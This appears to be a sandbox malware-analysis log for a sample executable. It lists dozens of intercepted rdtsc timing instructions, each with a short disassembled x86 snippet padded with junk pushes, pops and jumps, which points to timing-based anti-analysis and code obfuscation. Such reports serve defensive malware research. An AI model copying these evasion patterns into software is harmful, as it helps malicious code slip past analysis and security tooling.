Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 439422 second address: 439439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jnp 00007F4AE04F88B9h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jbe 00007F4AE04F8886h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45255E second address: 45256C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45256C second address: 452581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AE04F888Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4527FA second address: 4527FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45295B second address: 452961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 452DEA second address: 452E29 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4AE0E87EBFh 0x0000000f jnp 00007F4AE0E87ED0h 0x00000015 jmp 00007F4AE0E87EC4h 0x0000001a jg 00007F4AE0E87EB6h 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 452E29 second address: 452E33 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4AE04F8886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 452E33 second address: 452E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 452FA3 second address: 452FCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AE04F8891h 0x0000000d jmp 00007F4AE04F888Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 452FCA second address: 452FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45328A second address: 453295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F4AE04F8886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 456375 second address: 45637D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45B861 second address: 45B865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45B865 second address: 45B86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45B86B second address: 45B871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45B871 second address: 45B875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45BE4B second address: 45BE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45BE4F second address: 45BE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007F4AE0E87EB6h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F4AE0E87EBAh 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45F332 second address: 45F361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F8897h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e pushad 0x0000000f jp 00007F4AE04F8886h 0x00000015 jbe 00007F4AE04F8886h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45F361 second address: 45F36F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4AE0E87EB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45F36F second address: 45F394 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F4AE04F8897h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45F394 second address: 45F398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 45F398 second address: 45F3A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0133 second address: 4DA019B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AE0E87EC1h 0x00000009 sub ah, FFFFFFB6h 0x0000000c jmp 00007F4AE0E87EC1h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F4AE0E87EBFh 0x00000021 xor eax, 6CD31CEEh 0x00000027 jmp 00007F4AE0E87EC9h 0x0000002c popfd 0x0000002d mov cx, F077h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA019B second address: 4DA022A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AE04F8893h 0x00000009 or si, 42FEh 0x0000000e jmp 00007F4AE04F8899h 0x00000013 popfd 0x00000014 mov esi, 3D0D2347h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e mov bx, 185Eh 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F4AE04F888Dh 0x0000002d adc cx, F7E6h 0x00000032 jmp 00007F4AE04F8891h 0x00000037 popfd 0x00000038 pushfd 0x00000039 jmp 00007F4AE04F8890h 0x0000003e or al, FFFFFF88h 0x00000041 jmp 00007F4AE04F888Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA022A second address: 4DA0230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0230 second address: 4DA0234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0234 second address: 4DA0247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e push eax 0x0000000f push edx 0x00000010 mov si, di 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80CFB second address: 4D80DB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d mov ebx, 4A066DBEh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F4AE04F8895h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F4AE04F888Ch 0x00000022 xor si, F6B8h 0x00000027 jmp 00007F4AE04F888Bh 0x0000002c popfd 0x0000002d mov bx, ax 0x00000030 popad 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F4AE04F8897h 0x0000003b and si, 8D2Eh 0x00000040 jmp 00007F4AE04F8899h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F4AE04F8890h 0x0000004c sub cl, FFFFFFA8h 0x0000004f jmp 00007F4AE04F888Bh 0x00000054 popfd 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80DB9 second address: 4D80DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE0E87EC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80DD1 second address: 4D80DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD0010 second address: 4DD0014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD0014 second address: 4DD001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD001A second address: 4DD0032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD0032 second address: 4DD0037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD0037 second address: 4DD008D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F4AE0E87EC2h 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F4AE0E87EBBh 0x00000019 and ax, 29BEh 0x0000001e jmp 00007F4AE0E87EC9h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD008D second address: 4DD00A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4AE04F888Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DD00A8 second address: 4DD00B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D600F4 second address: 4D600F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D600F8 second address: 4D600FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D600FC second address: 4D60102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60102 second address: 4D6018F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4AE0E87EC6h 0x0000000f push eax 0x00000010 jmp 00007F4AE0E87EBBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 jmp 00007F4AE0E87EC4h 0x0000001c movzx eax, di 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F4AE0E87EC3h 0x00000029 sub cl, FFFFFFBEh 0x0000002c jmp 00007F4AE0E87EC9h 0x00000031 popfd 0x00000032 mov dx, cx 0x00000035 popad 0x00000036 push dword ptr [ebp+04h] 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D6018F second address: 4D60193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60193 second address: 4D60197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60197 second address: 4D6019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80A1A second address: 4D80A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80A33 second address: 4D80A47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 72h 0x00000005 mov eax, 6EDF778Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80A47 second address: 4D80A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80A4B second address: 4D80A51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80A51 second address: 4D80ADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4AE0E87EC4h 0x00000009 and ah, 00000068h 0x0000000c jmp 00007F4AE0E87EBBh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F4AE0E87EC5h 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F4AE0E87EBEh 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push ebx 0x00000029 pop esi 0x0000002a pushfd 0x0000002b jmp 00007F4AE0E87EC9h 0x00000030 adc esi, 0921E096h 0x00000036 jmp 00007F4AE0E87EC1h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80ADC second address: 4D80B05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov bx, CD1Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4AE04F8897h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80B05 second address: 4D80B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D805D8 second address: 4D805DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D805DC second address: 4D805E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D805E0 second address: 4D805E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D805E6 second address: 4D80627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, A30Fh 0x00000007 movzx eax, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4AE0E87EBCh 0x00000015 sub ax, 84B8h 0x0000001a jmp 00007F4AE0E87EBBh 0x0000001f popfd 0x00000020 mov ebx, eax 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4AE0E87EBCh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80627 second address: 4D80636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80636 second address: 4D8063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8063C second address: 4D80640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80640 second address: 4D80644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80644 second address: 4D80654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80654 second address: 4D80658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80658 second address: 4D8065E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80515 second address: 4D8051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8051B second address: 4D8051F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8051F second address: 4D80598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007F4AE0E87EBFh 0x00000012 pop edx 0x00000013 movzx eax, di 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F4AE0E87EC7h 0x0000001d mov ebp, esp 0x0000001f jmp 00007F4AE0E87EC6h 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F4AE0E87EC7h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80598 second address: 4D8059E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D802FC second address: 4D80300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80300 second address: 4D80304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80304 second address: 4D8030A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0F3B second address: 4DC0F4F instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edx, cx 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0F4F second address: 4DC0F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushfd 0x0000000f jmp 00007F4AE0E87EC9h 0x00000014 sbb si, BE66h 0x00000019 jmp 00007F4AE0E87EC1h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0F96 second address: 4DC0FA7 instructions: 0x00000000 rdtsc 0x00000002 mov ax, F697h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DC0FA7 second address: 4DC0FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA04B5 second address: 4DA04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA04BB second address: 4DA04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA04BF second address: 4DA04E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4AE04F888Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA04E2 second address: 4DA04E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA04E7 second address: 4DA0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 2130h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov cx, 98EBh 0x00000011 mov di, si 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F4AE04F888Ah 0x0000001b mov ebp, esp 0x0000001d jmp 00007F4AE04F8890h 0x00000022 mov eax, dword ptr [ebp+08h] 0x00000025 pushad 0x00000026 push ecx 0x00000027 mov ecx, edi 0x00000029 pop edi 0x0000002a mov ecx, 79EC98B5h 0x0000002f popad 0x00000030 and dword ptr [eax], 00000000h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F4AE04F888Ah 0x0000003c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0538 second address: 4DA053C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA053C second address: 4DA0542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DA0542 second address: 4DA0548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
